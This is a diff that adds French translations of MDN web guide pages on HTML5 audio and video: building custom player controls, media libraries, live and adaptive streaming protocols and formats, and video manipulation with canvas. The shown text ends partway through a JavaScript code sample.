+<p>Vous pouvez vouloir un lecteur audio ou vidéo qui ait le même aspect sur tous les navigateurs, ou simplement vouloir l'adapter à votre site. La technique générale pour y parvenir est d'omettre l'attribut <code>controls</code> afin que les contrôles par défaut du navigateur ne s'affichent pas, et de créer vos propres contrôles en HTML et CSS, avec du JavaScript pour lier vos contrôles à l'API audio/vidéo.</p>
+
+<p>Si vous avez besoin de quelque chose en plus, il est possible d'ajouter des fonctionnalités qui ne sont pas présentes par défaut dans les lecteurs, tels que la vitesse de lecture, le choix de la qualité ou mêmes les spectres audio. Vous pouvez également décider de rendre votre lecteur responsive — par exemple, vous pouvez enlever la barre de progrès sous certaines conditions.</p>
+
+<p>Vous pouvez détecter les événements de clic, de toucher et/ou de clavier pour déclencher des actions telles que lecture, pause et stop. Il est souvent souhaitable d'ajouter des raccourcis clavier pour plus de commodité et d'accessibilité pour l'utilisateur.</p>
+
+<p>Un exemple rapide — d'abord, configurez votre audio et vos contrôles personnalisés en HTML:</p>
+
+<pre class="brush: html">  &lt;audio id="my-audio" src="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"&gt;&lt;/audio&gt;
+  &lt;button id="my-control"&gt;play&lt;/button&gt;</pre>
+
+<p>Ensuite, ajoutez un peu de JavaScript pour détecter les événements afin de lire et de mettre en pause l'audio:</p>
+
+<pre class="brush: js">window.onload = function() {
+
+  var myAudio = document.getElementById('my-audio');
+  var myControl = document.getElementById('my-control');
+
+  function switchState() {
+    if (myAudio.paused == true) {
+      myAudio.play();
+      myControl.innerHTML = "pause";
+    } else {
+      myAudio.pause();
+      myControl.innerHTML = "play";
+    }
+  }
+
+  function checkKey(e) {
+    if (e.keycode == 32 ) { //spacebar
+      switchState();
+    }
+  }
+
+  myControl.addEventListener('click', function() {
+    switchState();
+  }, false);
+
+  window.addEventListener( "keypress", checkKey, false );
+}</pre>
+
+<p>Vous pouvez <a href="http://jsbin.com/jujeladu/2/edit">essayer cet exemple ici</a>. Pour plus d'informations, voir <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Creating_your_own_custom_audio_player">Customiser votre propre lecteur audio</a>.</p>
+
+<h2 id="Bibliothèques_JavaScript_AudioVidéo">Bibliothèques JavaScript Audio/Vidéo</h2>
+
+<p>Un certain nombre de bibliothèques JavaScript audio et vidéo existent. Les plus populaires permettent de choisir un design de lecteur cohérent sur tous les navigateurs et fournissent un contenu de secours pour les navigateurs qui ne prennent pas en charge l'audio et vidéo nativement. Le contenu de secours utilise souvent les plugins Adobe Flash ou Microsoft Silverlight. D'autres fonctionnalités telles que les éléments {{htmlelement("track")}} pour les sous-titres peuvent également être fournies par les bibliothèques média.</p>
+
+<h3 id="Audio_uniquement">Audio uniquement</h3>
+
+<ul>
+ <li><a href="http://www.schillmania.com/projects/soundmanager2/">SoundManager</a></li>
+</ul>
+
+<h3 id="Vidéo_uniquement">Vidéo uniquement</h3>
+
+<ul>
+ <li><a href="https://flowplayer.org/">flowplayer</a>: Gratuit, avec un watermark du logo flowplayer. Open source (licence GPL.)</li>
+ <li><a href="http://www.jwplayer.com">JWPlayer</a>: Nécessite de s'inscrire pour télécharger. Édition Open Source (Liecence Creative Commons.)</li>
+ <li><a href="http://www.sublimevideo.net/">SublimeVideo</a>: Nécessite de s'inscrire. Configuration par formulaire avec lien vers des bibliothèques hébergées via CDN.</li>
+ <li><a href="http://www.videojs.com/">Video.js</a>: Gratuit et Open Source (Licence Apache 2.)</li>
+</ul>
+
+<h3 id="Audio_et_Vidéo">Audio et Vidéo</h3>
+
+<ul>
+ <li><a href="http://jPlayer.org">jPlayer</a>: Gratuit et Open Source (Licence MIT.)</li>
+ <li><a href="http://mediaelementjs.com/">mediaelement.js</a>: Gratuit et Open Source (Licence MIT.)</li>
+</ul>
+
+<h3 id="Web_Audio_API">Web Audio API</h3>
+
+<ul>
+ <li><a href="https://github.com/cwilso/AudioContext-MonkeyPatch">AudioContext monkeypatch</a>: Un polyfill pour les anciennes versions de Web Audio API; Open Source (Licence Apache 2.)</li>
+</ul>
+
+<h2 id="Tutoriels_Basiques">Tutoriels Basiques</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a></dt>
+ <dd>A guide to creating a basic cross browser video player using the {{ htmlelement ("video") }} element.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">Video player styling basics</a></dt>
+ <dd>With the cross-browser video player put in place in the previous article, this article now looks at providing some basic, reponsive styling for the player.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics">Cross-browser audio basics</a></dt>
+ <dd>
+ <div>
+ <p>This article provides a basic guide to creating an HTML5 audio player that works cross browser, with all the associated attributes, properties and events explained, and a quick guide to custom controls created using the Media API.</p>
+ </div>
+ </dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/buffering_seeking_time_ranges">Media buffering, seeking, and time ranges</a></dt>
+ <dd>Sometimes it's useful to know how much {{ htmlelement("audio") }} or {{ htmlelement("video") }} has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player. This article discusses how to build a buffer/seek bar using <a href="/en-US/docs/Web/API/TimeRanges">TimeRanges</a>, and other features of the media API.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/HTML5_playbackRate_explained">HTML5 playbackRate explained</a></dt>
+ <dd>The <code>playbackRate</code> property allows us to change the speed or rate at which a piece of web audio or video is playing. This article explains it in detail.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></dt>
+ <dd>Explains the basics of using the Web Audio API to grab, manipulate and play back an audio source.</dd>
+</dl>
+
+<h2 id="Tutoriels_Streaming_de_médias">Tutoriels Streaming de médias</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a></dt>
+ <dd>Live streaming technology is often employed to relay live events such as sports, concerts and more generally TV and Radio programmes that are output live. Often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. This is a fairly complex and nascent subject with a lot of variables, so in this article we'll introduce you to the subject and let you know how you can get started.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Setting_up_adaptive_streaming_media_sources">Setting up adaptive streaming media sources</a></dt>
+ <dd>Let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an HTML5 media element. How would you do that? This article explains how, looking at two of the most common formats: MPEG-DASH and HLS (HTTP Live Streaming.)</dd>
+ <dt><a href="/en-US/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video">DASH Adaptive Streaming for HTML 5 Video</a></dt>
+ <dd>Details how to set up adaptive streaming using DASH and WebM.</dd>
+</dl>
+
+<h2 id="Tutoriels_Advancés">Tutoriels Advancés</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></dt>
+ <dd>This article explains how to add captions and subtitles to HTML5 {{ htmlelement("video") }}, using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Video_Text_Tracks_Format" title="WebVTT is a format for displaying timed text tracks (e.g. subtitles) with the &lt;track> element. The primary purpose of WebVTT files is to add subtitles to a &lt;video>.">Web_Video_Text_Tracks_Format</a> and the {{ htmlelement("track") }} element.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser" title="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser">Writing Web Audio API code that works in every browser</a></dt>
+ <dd>A guide to writing cross browser Web Audio API code.</dd>
+ <dt><a href="/en-US/Apps/Developing/Manipulating_media/H.264_support_in_Firefox">H.264 support in Firefox</a></dt>
+ <dd>This article explains the state of support for the H.264 video format in Firefox/Firefox OS, including code examples, tips and tricks.</dd>
+ <dt><a href="https://hacks.mozilla.org/2014/06/easy-audio-capture-with-the-mediarecorder-api/">Easy audio capture with the MediaRecorder API</a></dt>
+ <dd>Explains the basics of using the MediaRecorder API to directly record a media stream.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Les versions de Firefox OS 1.3 et plus supportent le protocole <a href="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol" title="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol">RTSP</a> pour diffuser des vidéos en streaming. Une solution de secours pour les anciennes versions serait d'utiliser <code>&lt;video&gt;</code> avec un format pris en charge par Gecko (comme WebM).</p>
+</div>
+
+<h2 id="Réferences">Réferences</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The video element</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Media_events">Media events API</a></li>
+ <li><a href="/en-US/docs/Web/API/HTMLVideoElement">HTMLVideoElement API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaSource">MediaSource API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator.getUserMedia">getUserMedia</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.html b/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.html
new file mode 100644
index 0000000000..46c17d9604
--- /dev/null
+++ b/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.html
@@ -0,0 +1,288 @@
+---
+title: Live streaming web Audio et Vidéo
+slug: Web/Guide/Audio_and_video_delivery/Live_streaming_web_audio_and_video
+tags:
+  - Guide
+  - Streaming adaptatif
+translation_of: Web/Guide/Audio_and_video_delivery/Live_streaming_web_audio_and_video
+---
+<div class="summary">
+<p><span class="seoSummary">La technologie de <em>live streaming</em> (diffusion en direct) est souvent utilisée pour relayer des événements en direct, tels que le sport, les concerts, ou de manière plus générale les programmes TV et radio en direct. Souvent raccourci au simple terme de <em>streaming</em>, le live streaming est le processus de transmissions d'un média <em>live</em> (c'est à dire dynamique et non statique) aux ordinateurs et aux périphériques. C'est un sujet assez complexe et nouveau avec beaucoup de variables à prendre en considération, dans cet article nous allons vous introduire le sujet et vous donner des clés pour démarrer.</span></p>
+</div>
+
+<p>La première chose à avoir en tête quand on diffuse un live stream à un navigateur est le fait que, plutôt que de jouer un fichier fini, on relaie un fichier qui est créé à la volée et qui n'a pas de début ou de fin prédéterminé.</p>
+
+<h2 id="Principales_différences_entre_media_en_stream_et_statique">Principales différences entre media en stream et statique</h2>
+
+<p>Un média statique est un média stocké dans un fichier, comme un fichier mp3 ou webm. Ce fichier se trouve sur un serveur et peut être délivré — comme la plupart des types de fichier — au navigateur. Le navigateur peut commencer à jouer le média avant de l'avoir reçu en intégralité, c'est ce qu'on appelle un <em>téléchargement progressif</em>.</p>
+
+<p>Un média en <em>live stream</em> n'a pas de temps de début et de fin finis comme un fichier statique, c'est un flux de données que le serveur transmet au navigateur et qui est souvent adaptatif (explication ci-dessous). Habituellement, il est nécessaire d'utiliser des formats différents et des logiciles spéciaux côté serveur pour y parvenir.</p>
+
+<h2 id="Streaming_adaptatif">Streaming adaptatif</h2>
+
+<p>Une des principale priorité du live streaming est de garder le lecteur du client synchronisé avec le flux envoyé par le serveur: le streaming adaptatif est une technique qui le permet, qui s'adapte en cas de bande passante faible. Le taux de transfert des données est contrôlé, et, s'il semble être en retard, utilise un flux qui demande moins de bande passante (et donc de qualité inférieure).</p>
+
+<p>Pour que ce soit possible, on doit utiliser des formats qui facilitent cette opération. Les formats de live streaming autorisent généralement une diffusion adaptative en divisant le flux en série de petits segments, et en rendant ces segments disponibles à différents qualités et débits binaires.</p>
+
+<h2 id="Streaming_Audio_et_Vidéo_à_la_demande">Streaming Audio et Vidéo à la demande</h2>
+
+<p>La technologie de streaming n'est pas utilisée exclusivement pour les live streams. Elle peut également être utilisée à la place de la méthode traditionnelle de téléchargement progressif, pour diffuser des fichiers audio et vidéo à la demande. Il y a plusieurs avantages à ça:</p>
+
+<ul>
+ <li>La latence est généralement plus faible, les médias peuvent démarrer plus rapidement</li>
+ <li>Le streaming adaptatif donne une meilleure expérience utilisateur sur une variété d'appareils, y compris à faible débit</li>
+ <li>Le média est téléchargé juste à temps, ce qui utilise la bande passante plus efficacement</li>
+</ul>
+
+<h2 id="Protocoles_de_Streaming">Protocoles de Streaming</h2>
+
+<p>Tandis que les médias statiques sont généralement servis avec HTTP, il existe plusieurs protocoles pour servir un stream adaptatif; voyons les différentes options.</p>
+
+<h3 id="HTTP">HTTP</h3>
+
+<p>Pour l'instant, HTTP est de loin le protocole le plus couramment utilisé pour transférer des médias à la demande ou en stream.</p>
+
+<h3 id="RTMP">RTMP</h3>
+
+<p>Real Time Messaging Protocol (RTMP) est un protocole propriétaire développée par Macromedia (maintenant Adobe) et supporté par le plugin Adobe Flash. RTMP est disponible en plusieurs variantes, notamment RTMPE (Encrypté), RTMPS (Securisé sur SSL/TLS) et RTMPT (encapsulé dans des requêtes HTTP).</p>
+
+<h3 id="RTSP">RTSP</h3>
+
+<p>Real Time Streaming Protocol (RTSP) contrôle les sessions média entre les entités et il est souvent utilisé en combinaison avec Real-time Transport Protocol (RTP) et Real-time Control Protocol (RTCP) pour délivrer des flux média. Utiliser RTP avec RTCP permet un streaming adaptatif. Il n'est pas encore suporté nativement par la plupart des navigateurs, mais <a href="http://www.mozilla.org/en-US/firefox/os/notes/1.3/">Firefox OS 1.3 supporte RTSP</a>.</p>
+
+<div class="note"><strong>Note</strong>: Certains fournisseurs implémentent des protocoles de transfert propriétaires, tel que RealNetworks et leur Real Data Transport (RDT).</div>
+
+<h3 id="RTSP_2.0">RTSP 2.0</h3>
+
+<p>RTSP 2.0 est actuellement en cours de développement, il n'est pas rétro-compatible avec RTSP 1.0.</p>
+
+<div class="warning">
+<p><strong>Important</strong>: Bien que les balises {{ htmlelement("audio") }} et {{ htmlelement("video") }} soient agnostiques de tout protocole, aucun navigateur ne supporte actuellement autre chose que HTTP sans nécessiter de plugin, bien que cela semble être parti pour changer. De plus, les protocoles autres que HTTP peuvent être bloqués par des pare-feu et des serveurs proxy.</p>
+</div>
+
+<h2 id="Utiliser_des_protocoles_de_streaming">Utiliser des protocoles de streaming</h2>
+
+<p>Le procédé pour utiliser différents protocoles vous sera familier si vous avez l'habitude de travailler avec les média sur HTTP — il suffit de spécifier le protocole.</p>
+
+<p>Par exemple:</p>
+
+<pre class="brush: html">&lt;video src="rtsp://myhost.com/mymedia.format"&gt;
+ &lt;!-- Fallback here --&gt;
+&lt;/video&gt;</pre>
+
+<h2 id="Extensions_de_Sources_Média_(MSE)">Extensions de Sources Média  (MSE)</h2>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions</a> est un brouillon de travail de W3C qui prévoit d'étendre {{ domxref("HTMLMediaElement") }} pour permettre à JavaScript de générer des flux média pour la lecture. Permettre à JavaScript de générer des streams facilite toute une variété de cas d'utilisations comme le streaming adaptatif et le décalage temporel des live streams.<br>
+ <br>
+ Par exemple, <a href="http://msopentech.com/blog/2014/01/03/streaming_video_player/">vous pourriez implémenter MPEG-DASH en utilisant JavaScript tout en laissant le décodage à la charge de MSE</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Le décalage temporel est le processus de lire un live stream quelque temps après qu'il ait été diffusé.</p>
+</div>
+
+<h2 id="Formats_de_fichiers_Vidéo_en_Streaming">Formats de fichiers Vidéo en Streaming</h2>
+
+<p>Quelques formats de vidéo en live streaming HTTP commençent à être pris en charge parmi les navigateurs.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver un guide pour encoder HLS et MPEG-DASH pour une utilisation sur le web sur <a href="/fr/Apps/Build/Manipulating_media/Setting_up_adaptive_streaming_media_sources">Configuration de sources multimédia en streaming adaptatif</a>.</p>
+</div>
+
+<h3 id="MPEG-DASH">MPEG-DASH</h3>
+
+<p>DASH est l'acronyme de Dynamic Adaptive Streaming over HTTP, c'est un nouveau format dont le support a récemment été ajouté à Chrome, et Internet Explorer 11 sous Windows 8.1. Il est supporté via les Extensions de Sources Media, qui sont utilisées par les bibliothèques JavaScript comme <a href="https://github.com/Dash-Industry-Forum/dash.js/">DASH.js</a>.</p>
+
+<p>Cette approche permet de télécharger des segments de flux vidéo en utilisant XHR et en "ajoutant" le segment au flux en cours de lecture par l'élément {{ htmlelement("video") }}. Ainsi, par exemple, si l'on détecte que le réseau est lent, on peut demander des segments de moins bonne qualité (plus petits) en cours de route. Cette technologie permet également d'ajouter/insérer un segment publicitaire dans le flux.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez également <a href="http://wiki.webmproject.org/adaptive-streaming/webm-dash-specification">utiliser WebM avec le système de streaming adaptatif MPEG DASH</a>.</p>
+</div>
+
+<h3 id="HLS">HLS</h3>
+
+<p>HLS (HTTP Live Streaming) est un protocole inventé par Apple Inc et il est pris en charge par iOS, Safari et les dernières versions du navigateur Android / Chrome. HLS est également adaptatif.<br>
+ <br>
+ HLS peut également être décodé en utilisant JavaScript, ce qui signifie que l'on peut supporter les dernières versions de Firefox, Chrome et Internet Explorer 10+. Voir ce <a href="https://github.com/dailymotion/hls.js">lecteur JavaScript HTTP Live Streaming</a>.<br>
+ <br>
+ Au début de la session de streaming, une <a href="http://en.wikipedia.org/wiki/M3U8#Extended_M3U_directives">playlist M3U étendue (m3u8)</a> est téléchargée. Elle contient les metadonnées des différents sous-fux fournis.</p>
+
+<h3 id="Suport_de_formats_de_fichiers_en_Streaming">Suport de formats de fichiers en Streaming</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th>Navigateur</th>
+   <th>DASH</th>
+   <th>HLS</th>
+   <th>Opus (Audio)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox 32</td>
+   <td>✓ [1]</td>
+   <td>✓ [2]</td>
+   <td>✓ 14+</td>
+  </tr>
+  <tr>
+   <td>Safari 6+</td>
+   <td> </td>
+   <td>✓</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Chrome 24+</td>
+   <td>✓ [1]</td>
+   <td>✓</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Opera 20+</td>
+   <td>✓ [1]</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 10+</td>
+   <td>✓ 11</td>
+   <td>✓ [2]</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Firefox Mobile</td>
+   <td>✓</td>
+   <td>✓</td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <td>Safari iOS6+</td>
+   <td> </td>
+   <td>✓</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Chrome Mobile</td>
+   <td>✓</td>
+   <td>✓ [2]</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Opera Mobile</td>
+   <td>✓ [1]</td>
+   <td>✓</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer Mobile</td>
+   <td>✓ 11</td>
+   <td>✓ [2]</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Android</td>
+   <td>✓</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Via JavaScript et MSE</p>
+
+<p>[2] Via JavaScript et un Proxy CORS</p>
+
+<h3 id="Video_de_secours">Video de secours</h3>
+
+<p>Entre DASH et HLS, on peut couvrir une partie importante des navigateurs modernes mais il faut encore une solution de secours si on veut supporter le reste.<br>
+ <br>
+ Une approche populaire est d'utiliser Flash en solution de secours, qui prend en charge RTMP. Bien sûr, le problème est qu'il nous faut alors encoder dans trois formats de données différents.</p>
+
+<h2 id="Formats_de_fichiers_Audio_en_Streaming">Formats de fichiers Audio en Streaming</h2>
+
+<p>Il y a également quelques formats audio qui commençent à pris en charge par les navigateurs.</p>
+
+<h3 id="Opus">Opus</h3>
+
+<p>Opus est un format libre de droit et open source qui permet d'optimiser la qualité de différents débits binaires pour différents types audio. La musique et la parole peuvent être optimisées de différentes manières et Opus utilise les codecs SILK et CELT pour y parvenir.<br>
+ <br>
+ Actuellement, Opus est supporté par Firefox (bureau et mobile) ainsi que les dernières versions de Chrome bureau et Opera.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="http://tools.ietf.org/html/draft-ietf-rtcweb-audio-05">Opus est un format obligatoire</a> pour les implémentations navigateur de WebRTC.</p>
+</div>
+
+<h3 id="MP3_AAC_Ogg_Vorbis">MP3, AAC, Ogg Vorbis</h3>
+
+<p>Les formats audio les plus courants peuvent être diffusés en stream en utilisant des technologies spécifiques côté serveur.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Il est plus facile de diffuser de l'audio en stream en utilisant des formats qui n'ont pas été conçu pour car, contrairement aux vidéos, il n'y a pas de keyframes.</p>
+</div>
+
+<h2 id="Technologies_de_Streaming_côté_serveur">Technologies de Streaming côté serveur</h2>
+
+<p>Pour diffuser de l'audio ou vidéo en live stream, vous devez exécuter un logiciel de streaming sur votre serveur ou utiliser un service tiers.</p>
+
+<h3 id="GStreamer">GStreamer</h3>
+
+<p><a href="http://gstreamer.freedesktop.org/">GStreamer</a> est un framework multimédia open source et multi-platforme qui permet de créer une variété de composants pour gérer les médias, y compris des composants de streaming. À travers son système de plugin, GStreamer fournit un support pour plus d'une centaine de codecs (dont MPEG-1, MPEG-2, MPEG-4, H.261, H.263, H.264, RealVideo, MP3, WMV, et FLV.)</p>
+
+<p>Des plugins GStreamer existent, tels que <a href="http://gstreamer.freedesktop.org/data/doc/gstreamer/head/gst-plugins-good-plugins/html/gst-plugins-good-plugins-plugin-soup.html">souphttpclientsink</a> et <a href="https://gstreamer.freedesktop.org/data/doc/gstreamer/head/gst-plugins-good/html/gst-plugins-good-plugins-shout2send.html">shout2send</a>, pour diffuser en stream des médias sur HTTP. Vous pouvez également intégrer le framework Python Twisted ou utiliser quelque chose comme <a href="http://www.flumotion.net/features/">Flumotion</a> (logiciel de streaming open source).</p>
+
+<p>Pour le transfert RTMP, vous pouvez utiliser le <a href="https://github.com/arut/nginx-rtmp-module">module Nginx RTMP</a>.</p>
+
+<h3 id="SHOUTcast">SHOUTcast</h3>
+
+<p><a href="http://en.wikipedia.org/wiki/SHOUTcast">SHOUTcast</a> est une technologie propriétaire multi-plateforme pour diffuser des médias en streaming. Développé par Nullsoft, elle permet de diffuser du contenu audio au format MP3 ou AAC en broadcast. Pour utilisation sur le web, les streams SHOUTcast sont transmis sur HTTP.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="http://stackoverflow.com/questions/2743279/how-could-i-play-a-shoutcast-icecast-stream-using-html5">Les urls SHOUTcast peuvent nécessiter l'ajout d'un point-virgule à la fin</a>.</p>
+</div>
+
+<h3 id="Icecast">Icecast</h3>
+
+<p>Le serveur <a href="http://www.icecast.org/">Icecast</a> est une technologie open source pour diffuser des média en streaming. Maintenu par <a href="http://www.xiph.org/">Xiph.org Foundation</a>, il diffuse les formats Ogg Vorbis/Theora ainsi que MP3 et AAC  via le protocole SHOUTcast.</p>
+
+<div class="note">
+<p><strong>Note</strong>: SHOUTcast et Icecast font partie des technologies les plus répandues et les plus populaires, mais il existe de nombreux <a href="http://en.wikipedia.org/wiki/List_of_streaming_media_systems#Servers">autres systèmes de diffusion en streaming disponibles</a>.</p>
+</div>
+
+<h3 id="Services_de_Streaming">Services de Streaming</h3>
+
+<p>Bien que vous ayez la possibilité d'installer des logiciels tels que GStreamer, SHOUTcast et Icecast, vous pouvez également trouver de nombreux <a href="http://en.wikipedia.org/wiki/Comparison_of_streaming_media_systems">services de streaming tiers</a> qui feront le travail pour vous.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul class="task-list">
+ <li><a href="http://en.wikipedia.org/wiki/HTTP_Live_Streaming">HTTP Live Streaming</a></li>
+ <li><a href="http://www.jwplayer.com/html5/hls/">HLS Browser Support</a></li>
+ <li><a href="https://github.com/RReverser/mpegts">HTTP Live Streaming JavaScript player</a></li>
+ <li><a href="http://www.larryjordan.biz/app_bin/wordpress/archives/2369">The Basics of HTTP Live Streaming</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DASH_Adaptive_Streaming_for_HTML_5_Video">DASH Adaptive Streaming for HTML 5 Video</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Dynamic_Adaptive_Streaming_over_HTTP">Dynamic Adaptive Streaming over HTTP (MPEG-DASH)</a></li>
+ <li><a href="http://dash-mse-test.appspot.com/media.html">MPEG-DASH Media Source Demo</a></li>
+ <li><a href="http://dashif.org/reference/players/javascript/1.0.0/index.html">DASH Reference Client</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Dynamic_Adaptive_Streaming_over_HTTP">Dynamic Streaming over HTTP</a></li>
+ <li><a href="http://www.streamingmediaglobal.com/Articles/Editorial/Featured-Articles/The-State-of-MPEG-DASH-Deployment-96144.aspx">The State of MPEG-DASH Deployment</a></li>
+ <li><a href="http://www.bbc.co.uk/rd/blog/2014/03/media-source-extensions">Look, no plugins: Live streaming to the browser using Media Source Extensions and MPEG-DASH</a></li>
+ <li><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions (W3C)</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Icecast">Icecast</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Shoutcast">SHOUTcast</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/GStreamer">GStreamer</a></li>
+ <li><a href="https://coaxion.net/blog/2013/10/streaming-gstreamer-pipelines-via-http/">Streaming GStreamer Pipelines Via HTTP</a></li>
+ <li><a href="http://www.svesoftware.com/passkeeper/cms/article/streaming-media-using-gstreamer-web/">Streaming media using gstreamer on the web</a></li>
+ <li><a href="http://nginx-rtmp.blogspot.it/2013/07/gstreamer-and-raspberry-pi.html">GStreamer and Raspberry Pi</a></li>
+ <li><a href="http://msopentech.com/blog/2014/01/09/acceptance-media-source-extensions-w3c-candidate-recommendation-will-accelerate-adoption-dash-js/">Acceptance of Media Source Extensions as W3C Candidate Recommendation will accelerate adoption of dash.js</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Comparison_of_streaming_media_systems">Comparison of Streaming Media Systems</a></li>
+</ul>
+
+<p><br>
+  </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/fr/web/guide/audio_and_video_manipulation/index.html b/files/fr/web/guide/audio_and_video_manipulation/index.html
new file mode 100644
index 0000000000..eddaea4d45
--- /dev/null
+++ b/files/fr/web/guide/audio_and_video_manipulation/index.html
@@ -0,0 +1,366 @@
+---
+title: Manipulation Audio et Vidéo
+slug: Web/Guide/Audio_and_video_manipulation
+tags:
+  - Audio
+  - Canvas
+  - HTML5
+  - Video
+  - Web Audio API
+  - WebGL
+translation_of: Web/Guide/Audio_and_video_manipulation
+---
+<div class="summary">
+<p>La beauté du web est qu'on peut combiner différentes technologies pour en créer de nouvelles. Avoir de l'audio et vidéo nativement dans le navigateur nous donne la possibilité d'utiliser ces flux de données avec d'autres technologies comme {{htmlelement("canvas")}}, <a href="/fr/docs/Web/API/WebGL_API">WebGL</a> ou <a href="/fr/docs/Web/API/Web_Audio_API">Web Audio API</a> pour modifier le média — par exemple ajouter des effets de réverbération ou de compression à l'audio, ou encore des filtres noir &amp; blanc/sépia aux vidéos. Cet article fournit une référence pour expliquer ce que vous pouvez faire.</p>
+</div>
+
+<h2 id="Manipulation_Vidéo">Manipulation Vidéo</h2>
+
+<p>La possibilité de lire les valeurs de pixels de chaque image d'une vidéo peut être très utile, cela nous permet de placer ces images dans d'autres contextes.</p>
+
+<h3 id="Vidéo_et_Canvas">Vidéo et Canvas</h3>
+
+<p>{{htmlelement("canvas")}} est un moyen de dessiner de manière scripté sur des pages web; c'est un outil très puissant et qui peut être couplé avec du contenu vidéo.</p>
+
+<p>La technique générale est comme suit:</p>
+
+<ol>
+ <li>Dessiner une image de l'élément {{htmlelement("video")}} sur un élément {{htmlelement("canvas")}} intermédiaire.</li>
+ <li>Lire les données de l'élément <code>&lt;canvas&gt;</code> et les manipuler.</li>
+ <li>Écrire les données manipulées dans le <code>&lt;canvas&gt;</code> que l'on veut afficher.</li>
+ <li>Marquer une pause et répéter.</li>
+</ol>
+
+<p>On peut configurer notre lecteur vidéo et l'élément <code>&lt;canvas&gt;</code> comme ceci:</p>
+
+<pre class="brush: html">&lt;video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"&gt;
+  &lt;source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"&gt;
+  &lt;source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"&gt;
+&lt;/video&gt;
+
+&lt;canvas id="my-canvas" width="480" height="270"&gt;&lt;/canvas&gt;</pre>
+
+<p>Et les manipuler comme ceci: (en l'occurence, on affiche une version en noir et blanc de la vidéo)</p>
+
+<pre class="brush: js">var processor = {
+  timerCallback: function() {
+    if (this.video.paused || this.video.ended) {
+      return;
+    }
+    this.computeFrame();
+    var self = this;
+    setTimeout(function () {
+      self.timerCallback();
+    }, 16); // roughly 60 frames per second
+  },
+
+  doLoad: function() {
+    this.video = document.getElementById("my-video");
+    this.c1 = document.getElementById("my-canvas");
+    this.ctx1 = this.c1.getContext("2d");
+    var self = this;
+
+    this.video.addEventListener("play", function() {
+      self.width = self.video.width;
+      self.height = self.video.height;
+      self.timerCallback();
+    }, false);
+  },
+
+  computeFrame: function() {
